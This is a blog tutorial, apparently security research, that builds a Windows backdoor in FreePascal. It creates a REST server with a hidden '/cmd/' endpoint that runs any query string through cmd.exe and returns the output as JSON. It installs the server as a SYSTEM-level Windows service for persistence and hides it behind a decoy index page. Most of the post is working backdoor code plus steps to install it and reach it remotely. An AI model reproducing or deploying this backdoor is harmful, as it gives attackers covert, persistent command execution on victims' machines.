Porting Backdoors – Windows rootkits via RESTful API Service

Research Agenda

  • Part1 – porting the backdoor for windows (READY)
  • Part2 – porting the backdoor for Linux/Unix (IN PROGRESS)
  • Part3 – hiding the process (IN PROGRESS)
  • Part4 – provision of techniques (IN PROGRESS)

RootKits Definitions

According to Greg Hoglund, a rootkit is “a set of programs and code that allows a permanent or consistent, undetectable presence on a computer.” This is a reasonable top-level definition, but it does not really lessen the confusion between old-style “stealth,” newer “stealth kits,” and rootkits.

A rootkit is a kind of toolkit usually associated with the attempt to gain privileged access or to maintain that access by concealing the fact that the system has been compromised and continuing to make use of that compromise by deploying a bunch of techniques in order to gain :

  • Persistent access to the system
  • Allow the individual and/or software to make use of that access in whatever way he chooses
  • Open ports / malicious services
  • Process and handles
  • Files and registry entries

Building PoC

This research aims to spotlight uncovered techniques that might be used to maintain persistent access to the operating system. Basically, we will build a simple Restful API server running over a specific network port and then implement a way to allow remote attack communication into a hidden API endpoint to execute server-side system commands and transfer back the results in JSON format.

Moreover, we will develop a daemon background application that requires administrative privileges to install the malicious server into system services to gain permanent access.

Building Restful API Server

We will create a fully Restful API server using only the packages bundled with FreePascal and Lazarus; no frameworks or other tools are required. In the end, we will create an end-point that stands for server-side system command execution, and since JSON is standard for transferring non-binary data via Web protocols, we will use it.

From Lazarus -> simple program -> create a new project

then we define the uses sections as code block below :

{$IFDEF UNIX}cthreads, cmem,{$ENDIF}
  {$IFDEF MSWINDOWS}
  ServiceManager,
{$ENDIF}
  SysUtils,fphttpapp,httpdefs,custweb,custhttpapp,fphttpserver,process, windows,httproute,fpwebfile,fpjson, jsonparser,classes,DaemonApp;Code language: PHP (php)

I have added a conditional definition $IFDEF if you want to port the same code into another operating system such as ( Unix, Linux ..etc.). And now, we can add the first procedure for sending JSON response content.

procedure jsonResponse(var res: TResponse; data: String);
  begin
  res.Content := data;
  res.Code := 200;
  res.ContentType := 'application/json';
  res.ContentLength := length(res.Content);
  res.SendContent;
  end;Code language: JavaScript (javascript)

Next, I will define the first API End-point which stands for server-side execution. I will use the TJsonObject component to handle the function exec_this ( system command execution function ) and send JSON response content.

procedure systemCall(req: TRequest; res: TResponse);
var
  jObject : TJSONObject;
  bla,outp:string;


begin
  jObject := TJSONObject.Create;
  try


    bla := req.QueryFields.Values['na'];
    outp := exec_this(bla);
    jObject.Add('cmd', outp);
    jsonResponse(res, jObject.AsJSON);


  finally
    jObject.Free;
  end;
  end;Code language: JavaScript (javascript)

and below code block is for the system execution code function

function SystemFolder: string;
begin
  SetLength(Result, Windows.MAX_PATH);
  SetLength(
    Result, Windows.GetSystemDirectory(PChar(Result), Windows.MAX_PATH)
  );
end;


function exec_this(command:String):string;
var
Process: Tprocess;
list,outp : Tstringlist;
OutputStream,Param : TStream;
BytesRead    : longint;
Buffer       : array[1..BUF_SIZE] of byte;
ID: dword;
begin


  list := Tstringlist.Create;
  outp := Tstringlist.Create;


  process := Tprocess.Create(nil);
  OutputStream := TMemoryStream.Create;
  Param := TMemoryStream.Create; // we are going to store outputs as memory stream .
  //Param.
  process.Executable:=systemfolder+'\cmd.exe';
  process.Parameters.Add('/c');
  process.Parameters.Add(command);


  process.Options:= Process.Options +[poUsePipes];
//  for i:=0 to list.Count-1 do begin
  try
  process.Execute;
  //process.Free;


  repeat
   // Get the new data from the process to a maximum of the buffer size that was allocated.
   // Note that all read(...) calls will block except for the last one, which returns 0 (zero).
     BytesRead := Process.Output.Read(Buffer, BUF_SIZE);
     OutputStream.Write(Buffer, BytesRead)
   until BytesRead = 0;    //stop if no more data is being recieved
   outputstream.Position:=0;
   outp.LoadFromStream(outputstream);
   process.ExitCode;
    result := outp.Text;


 finally
   process.Free;
   list.Free;
   outp.Free;
   outputstream.Free;
     end;
Code language: PHP (php)

And to run the application, we add the following code for initialization and running

begin
 Application.Port := 8000;
 HTTPRouter.RegisterRoute('/cmd/', @systemCall, true);
 Application.Threaded := true;
 Application.Initialize;
 Application.Run;
end.Code language: JavaScript (javascript)

in less than 50 lines; we have crafted a simple Restful API server as an end-point to handle a request and forward the content to the request.

Application Daemon

Our next goal is to make the application runs continuously and handle periodic service requests that a Restful API Server expects to receive. The daemon program forwards the requests to other programs (or processes) as appropriate.

As a summary, we will use the Service Manager interface to install the service into the system and then use Daemon threading to handle the application’s installation and execution. The application will be running as a background process with NT/Authority system level in the end.

You have to pay attention that if we implement the code before to Daemon application mode, it will not work probably because we need functionality to embed the Restful server into the Daemon application thread. So we use the following code block types :

  • TMyDaemonApplication = class =>  run/terminate the Daemon Application
  • TMyHttpApplication = class(TCustomHTTPApplication) => FPHTTPServer Component
  • TMyDaemonThread = class(TThread) => Deamon thread handling
  • { TMyHttpDaemon } => interact with service manager
  • TMyHttpDaemonMapper = class(TCustomDaemonMapper) => creation of deamon mappers
  { TMyHttpApplication }


  TMyHttpApplication = class(TCustomHTTPApplication)


{ TMyDaemonApplication }


  TMyDaemonApplication = class
  public
    procedure Run;
    procedure Terminate;
  end;


  { TMyDaemonThread }


  TMyDaemonThread = class(TThread)
  public
    procedure Execute; override;
  end;


  { TMyHttpDaemon }


  TMyHttpDaemon = class(TCustomDaemon)
  private
    FThread: TThread;
  public
    function Install: Boolean; override;
    function Uninstall: Boolean; override;
    function Start: Boolean; override;
    function Stop: Boolean; override;
  end;


  { TMyHttpDaemonMapper }


  TMyHttpDaemonMapper = class(TCustomDaemonMapper)
  public
    constructor Create(AOwner: TComponent); override

The next step is to use the following HTTP server function for starting the JSON Restful API server and implement a Web file handler to forward an index page as a technique to masquerade your web application.

procedure rerouteRoot(aRequest: TRequest; aResponse: TResponse);
  begin
    aResponse.Code := 301;
    aResponse.SetCustomHeader('Location', fileLocation + '/index.html');
    aResponse.SendContent;
  end;
function MyApp: TMyHttpApplication;
  begin
    if not Assigned(_MyApp) then
    begin
  _MyApp := TMyHttpApplication.Create(nil);


  _MyApp.Port := 8000;
  RegisterFileLocation(fileLocation, 'public_html');
  HTTPRouter.RegisterRoute('/', @rerouteRoot);
  MimeTypesFile := ExtractFilePath(ParamStr(0)) + 'mime.types';
  HTTPRouter.RegisterRoute('/cmd/', @systemCall);
 _MyApp.Threaded := True;
 _MyApp.Initialize;
    end;
    Result := _MyApp;
  end;Code language: JavaScript (javascript)

and whatever you want to embed it by using the following code block

procedure TMyDaemonThread.Execute;
  begin
    MyApp.Run;
  end;

then, we should start using the Custom Daemon class to install the application into the windows services interface and configure it with other parameter options such as (start or uninstall).

{ TMyHttpDaemon }


  function TMyHttpDaemon.Start: Boolean;
  begin
    Result := inherited Start;
    FThread := TMyDaemonThread.Create(True);
    FThread.Start;
  end;


  function TMyHttpDaemon.Stop: Boolean;
  begin
    Result := inherited Stop;
    FThread.Terminate;
  end;


  function TMyHttpDaemon.Install: Boolean;
{$IFDEF MSWINDOWS}
  var
    VSM: TServiceManager;
{$ENDIF}
  begin
    Result := inherited Install;
{$IFDEF MSWINDOWS}
    VSM := TServiceManager.Create(nil);
    try
      VSM.Connect;
      if VSM.Connected then
        VSM.StartService(MY_HTTP_DAEMON_NAME, nil);
      VSM.Disconnect;
    finally
      VSM.Free;
    end;
{$ENDIF}
    WriteLn('Service installed.');
  end;


  function TMyHttpDaemon.Uninstall: Boolean;
{$IFDEF MSWINDOWS}
  var
    VSM: TServiceManager;
{$ENDIF}
  begin
    Result := inherited Uninstall;
{$IFDEF MSWINDOWS}
    VSM := TServiceManager.Create(nil);
    try
      VSM.Connect;
      if VSM.Connected then
        VSM.StopService(MY_HTTP_DAEMON_NAME, True);
      VSM.Disconnect;
    finally
      VSM.Free;
    end;
{$ENDIF}
    WriteLn('Service uninstalled.');
  eCode language: PHP (php)

Finally, we create a daemon mapper and register the daemon Class in the system. And you should identify the service name and daemon name with a valid description.

var
  _MyApp: TMyHttpApplication = nil;
  MY_HTTP_DAEMON_DESCRIPTION: string = '0xsp-rootkit.';
  MY_HTTP_DAEMON_DISPLAYNAME: string = '0xsp-rootkit';
  MY_HTTP_DAEMON_NAME: string = '0xsp-rootkit';
  MY_HTTP_DAEMON_CLASSNAME: string = 'TMyHttpDaemon';


{ TMyHttpDaemonMapper }


  constructor TMyHttpDaemonMapper.Create(AOwner: TComponent);
  var
    VDaemonDef: TDaemonDef;
  begin
    inherited Create(AOwner);
    VDaemonDef := DaemonDefs.Add as TDaemonDef;
    VDaemonDef.Description := MY_HTTP_DAEMON_DESCRIPTION;
    VDaemonDef.DisplayName := MY_HTTP_DAEMON_DISPLAYNAME;
    VDaemonDef.Name := MY_HTTP_DAEMON_NAME;
    VDaemonDef.DaemonClassName := MY_HTTP_DAEMON_CLASSNAME;
    VDaemonDef.WinBindings.ServiceType := stWin32;
  end;


begin
  RegisterDaemonClass(TMyHttpDaemon);
  RegisterDaemonMapper(TMyHttpDaemonMapper);
  with TMyDaemonApplication.Create do
  try
    Run;
  finally
    Free;
  end;
enCode language: PHP (php)

Accessing the backdoor

after building a binary, we have to install the application using the –install parameter (needs administrative privileges).

After a successful installation of the service, we can clearly notice that the rootkit is up and running successfully, and a neat landing page is completely terrific!.

In order to access the rootkit, you can communicate directly to the malicious end-point by sending a formatted GET request using the Restful API client or any other alternative ways you prefer to use it.

Please follow and like us:

Leave a Comment